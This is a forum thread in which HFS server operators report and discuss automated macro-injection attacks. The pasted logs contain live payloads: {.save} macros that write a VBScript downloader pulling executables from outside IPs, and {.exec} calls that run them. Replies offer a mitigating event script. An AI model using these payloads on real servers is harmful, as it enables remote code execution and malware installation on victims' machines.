rejetto forum

Software => HFS ~ HTTP File Server => Bug reports => Topic started by: D on December 11, 2021, 04:34:32 AM

Title: Possible vulnerability
Post by: D on December 11, 2021, 04:34:32 AM
Since yesterday, someone is trying to pull code injection on me  :(  I'm on 2.3m
I'm not sure if I got hacked, I found no such files and my AV only quarantined the logs (scanned the link perhaps)
Is there a way to disable /?search functionality completely? I'm not using it anyway
Code: [Select]
10.12.2021 6:55:41 36.46.149.98 53274 Requested GET /?search= {.exec|C:\Users\Public\1.exe.}
10.12.2021 6:55:45 36.46.149.98 53556 Requested GET /?search= {.exec|C:\Users\Public\1.exe.}
10.12.2021 7:01:28 36.46.149.98 57608 Requested GET /
10.12.2021 7:01:28 36.46.149.98 57640 Requested GET /?search= {.save|C:\Users\Public\script.vbs|dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
> dim bStrm: Set bStrm = createobject("Adodb.Stream")
> xHttp.Open "GET", "http://103.144.2.108:8888/1.exe", False
> xHttp.Send
>
> with bStrm
>     .type = 1 '//binary
>     .open
>     .write xHttp.responseBody
>     .savetofile "C:\Users\Public\1.exe", 2 '//overwrite
> end with.}
Code: [Select]
10.12.2021 6:55:36 36.46.149.98 52884 Requested GET /
10.12.2021 6:55:37 36.46.149.98 52917 Requested GET /?search= {.save|C:\Users\Public\script.vbs|dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
> dim bStrm: Set bStrm = createobject("Adodb.Stream")
> xHttp.Open "GET", "http://103.144.2.108:8888/1.exe", False
> xHttp.Send
>
> with bStrm
>     .type = 1 '//binary
>     .open
>     .write xHttp.responseBody
>     .savetofile "C:\Users\Public\1.exe", 2 '//overwrite
> end with.}
Code: [Select]
11.12.2021 8:08:23 180.76.141.125 55846 Requested GET /
11.12.2021 8:08:24 180.76.141.125 55874 Requested GET /?search= {.save|C:\Users\Public\script.vbs|dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
> dim bStrm: Set bStrm = createobject("Adodb.Stream")
> xHttp.Open "GET", "http://103.144.2.108:8888/skol.exe", False
> xHttp.Send
>
> with bStrm
>     .type = 1 '//binary
>     .open
>     .write xHttp.responseBody
>     .savetofile "C:\Users\Public\skol.exe", 2 '//overwrite
> end with.}
11.12.2021 8:08:29 180.76.141.125 56070 Requested GET /?search= {.exec|C:\Users\Public\skol.exe.}
11.12.2021 8:08:32 180.76.141.125 56194 Requested GET /?search= {.exec|C:\Users\Public\skol.exe.}
Title: Re: Possible vulnerability
Post by: LeoNeeson on December 11, 2021, 07:06:35 PM
Is there a way to disable /?search functionality completely? I'm not using it anyway
Good idea. A long time ago, I though the same thing: there should be an option to enable or disable search by anonymous users. For example, an option like: 'Only allow file searching to registered users', or even better: 'Disable search and macros to anonymous users'. But that would require to modify the source code, so, in case this idea is accepted by Rejetto, we should wait for a new beta test version. For the time being, I'm not sure if search can be disabled, by just using some macro. I hope Rejetto is well and he visit the forum...
Title: Re: Possible vulnerability
Post by: Mars on December 11, 2021, 09:46:00 PM
if you are using one of the latest versions the remote use of macros by a user using a url is automatically detected and made harmless.
https://rejetto.com/forum/index.php?topic=11758.msg1061386#msg1061386

the other vulnerability exploit that was resolved quickly was the null byte injection
https://rejetto.com/forum/index.php?topic=11619.msg1064421#msg1064421

I can no longer remember where and in what way these two types of attack are detected in the sources of hfs but it is certain that if your version is up to date there is no more risk when a remote user performs such attempts
Title: Re: Possible vulnerability
Post by: D on December 14, 2021, 02:17:07 PM
Here we go again, this time a little different:
Code: [Select]
14.12.2021 18:53:18 154.55.133.183:50174 Requested GET /?search=> dim bStrm: Set bStrm = createobject("Adodb.Stream")
> xHttp.Open "GET", "http://154.55.133.183/1.exe", False
> xHttp.Send
>
> with bStrm
>     .type = 1 '//binary
>     .open
>     .write xHttp.responseBody
>     .savetofile "C:\Users\Public\1.exe", 2 '//overwrite
> end with.}
14.12.2021 18:53:37 154.55.133.183:51758 Requested GET /?search=14.12.2021 18:54:03 154.55.133.183:53636 Requested GET /?search=14.12.2021 18:54:23 154.55.133.183:54859 Requested GET /?search=
Still nothing to worry about? Fixed in 2.3m?
Title: Re: Possible vulnerability
Post by: durza on January 14, 2022, 01:00:27 AM

Bumping this thread because I have also been getting these same logs, from the same IP address, as D.

They seem to be automated bot attacks based on how often I am seeing them. Can we confirm there is no vulnerability in 2.3m?

If not, it does seem unnecessary to have a search function on the home page when only hosting secured files. As LeoNeeson said maybe there could be an option to turn this off?
Title: Re: Possible vulnerability
Post by: LeoNeeson on January 14, 2022, 01:28:24 AM
Can we confirm there is no vulnerability in 2.3m?
There are no known vulnerabilities in v2.3, but anyway, for extra peace of mind it's better to block those requests. Mars had provided a solution (some weeks ago), but then he changed his mind and deleted his post. This was his message:

Quote from: mars
Adding an event in hfs.events

[request]
{.if|{.any macro marker|%url%.}{.count substring|createobject|{.lower |%url%.}.}|{:{.disconnect|%ip%.}:}.}


(I'm wondering why Mars would delete his post)
🤔
Title: Re: Possible vulnerability
Post by: rejetto on January 14, 2022, 10:14:23 AM
you may not find any security specialist on this forum, thus my suggestion is google for vulnerabilities and look at results of specialized websites that should also report what versions are affected.
A good website would also report what version is known to fix the problem.
This is a more effective way of knowing that those attacks are not effective. Still annoying you in the logs.
In most cases these bugs are reported in an "ethic way" by security specialists, privately to the software producer, giving the time to fix the problem before the bug is made publicly known. And that's what have happen so far with HFS. It implies those bugs are supposed to be fixed in collaboration and normally verified by the same person who has discovered the problem. I once again wanna thank these people who I see as contributors of the project.

I think the "any macro marker" command is good to avoid spamming your logs. And that's all you need, i guess.
The old bug (long fixed) was with regular-expression lib, and that command is using just that.
Just for the sake of conversation, if for some strange reason I was forced to use an old vulnerable version, I would try to protect it using the {.pos.} command instead.
But it's nice that I don't have to.
Also because I'm already using sweet HFS 3 :D
Title: Re: Possible vulnerability
Post by: durza on January 14, 2022, 06:42:49 PM
Thanks both of you for that information. Very much appreciated.

Small question: Where is hfs.events?
I found the wiki article and the 2009 thread. Is it simply a user created file in the directory of where you're launching hfs from?
Title: Re: Possible vulnerability
Post by: rejetto on January 14, 2022, 06:52:49 PM
yes, you can create it yourself as a simple text file inside the program directory, but you can also Menu > other options > edit event scripts (it's at the bottom)